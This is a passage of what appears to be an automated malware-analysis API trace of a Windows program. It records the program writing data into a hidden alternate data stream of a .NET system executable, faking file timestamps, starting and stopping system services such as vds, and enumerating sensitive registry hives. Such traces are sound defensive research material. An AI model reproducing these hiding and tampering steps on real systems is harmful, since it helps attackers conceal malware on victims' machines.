dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0029.085] SetFileTime (hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0029.085] GetFileSize (in: hFile=0xc8, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0x212a8 [0029.085] SetFilePointer (in: hFile=0xc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0029.085] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x212c0) returned 0x1cd7ea8 [0029.085] ReadFile (in: hFile=0xc8, lpBuffer=0x1cd7ea8, nNumberOfBytesToRead=0x212a8, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1cd7ea8*, lpNumberOfBytesRead=0x18fc58*=0x212a8, lpOverlapped=0x0) returned 1 [0029.088] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x212c0) returned 0x1d208b8 [0029.089] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1cd7ea8) returned 1 [0029.089] SetFilePointer (in: hFile=0xc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fc48*=0) returned 0x0 [0029.089] WriteFile (in: hFile=0xc8, lpBuffer=0x1cb0ea0*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1cb0ea0*, lpNumberOfBytesWritten=0x18fc58*=0x27000, lpOverlapped=0x0) returned 1 [0029.090] SetEndOfFile (hFile=0xc8) returned 1 [0029.091] GetFileTime (in: hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c*(dwLowDateTime=0xef914800, dwHighDateTime=0x1d0aa91)) returned 1 [0029.091] FileTimeToSystemTime (in: lpFileTime=0x18fc6c, lpSystemTime=0x18fc98 | out: lpSystemTime=0x18fc98) returned 1 [0029.091] SystemTimeToFileTime (in: lpSystemTime=0x18fc98, lpFileTime=0x18fc6c | out: lpFileTime=0x18fc6c) returned 1 [0029.091] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95d90 [0029.091] NtClose (Handle=0xc8) returned 0x0 [0029.092] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x24f53, ftCreationTime.dwHighDateTime=0x18fc24, ftLastAccessTime.dwLowDateTime=0x77380a45, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x18fcc0)) returned 0 [0029.092] GetLastError () returned 0x2 [0029.092] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0029.093] SetFileTime (hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0029.093] WriteFile (in: hFile=0xc8, lpBuffer=0x1d208b8*, nNumberOfBytesToWrite=0x212a8, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1d208b8*, lpNumberOfBytesWritten=0x18fc58*=0x212a8, lpOverlapped=0x0) returned 1 [0029.096] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95d90) returned 1 [0029.096] SetFileTime (hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c) returned 1 [0029.096] NtClose (Handle=0xc8) returned 0x0 [0029.098] OpenServiceW (hSCManager=0x286c38, lpServiceName="NetTcpActivator", dwDesiredAccess=0x10) returned 0x286d00 [0029.098] StartServiceW (hService=0x286d00, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 0 [0029.266] GetLastError () returned 0x42c [0029.266] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0029.266] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d208b8) returned 1 [0029.266] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x2839f0) returned 1 [0029.267] CryptGenRandom (in: hProv=0x2839f0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0029.267] CryptReleaseContext (hProv=0x2839f0, dwFlags=0x0) returned 1 [0029.267] OpenServiceW (hSCManager=0x286c38, lpServiceName="vds", dwDesiredAccess=0x20) returned 0x286d28 [0029.267] ControlService (in: hService=0x286d28, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0029.268] GetLastError () returned 0x426 [0029.268] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0029.268] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94378 [0029.268] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c943c0 [0029.268] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95d90 [0029.268] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x280) returned 0x1c829e0 [0029.268] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0029.268] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0029.268] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.268] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1c94450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0029.268] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.268] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.269] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.269] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.269] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0029.269] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.269] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0029.269] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.269] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.269] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.269] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.269] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0029.269] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.269] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0029.269] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.269] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.269] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.269] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.269] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0029.269] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.269] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0029.269] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.269] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.269] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.269] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.269] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0029.270] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.270] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0029.270] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.270] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.270] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.270] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.270] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0029.270] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.270] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0029.270] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.270] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.270] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.270] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.270] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0029.270] RegCloseKey (hKey=0x80000002) returned 0x0 [0029.270] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0029.270] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0029.270] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1c94450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0029.270] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.270] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.270] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.270] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.271] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0029.271] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0029.271] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1c946d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0029.271] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.271] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.271] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.271] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.271] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0029.271] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0029.271] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1c94450, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0029.271] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.271] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.271] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.271] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.271] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0029.271] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.271] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1c946d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0029.271] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.271] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.271] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.271] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.271] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0029.271] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.272] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0029.272] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.272] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.272] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.272] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.272] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0029.272] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.272] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0029.272] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.272] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.272] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.272] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.272] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1c829e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0029.272] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.272] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0029.272] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.272] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.272] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.272] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.272] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1c829e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0029.272] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.272] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1c946d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0029.272] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.272] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.273] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.273] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.273] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1c829e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0029.273] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.273] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1c94450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0029.273] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.273] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.273] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.273] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.273] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0029.273] RegCloseKey (hKey=0x15c) returned 0x0 [0029.273] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0029.273] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.273] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0029.273] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.273] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.273] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 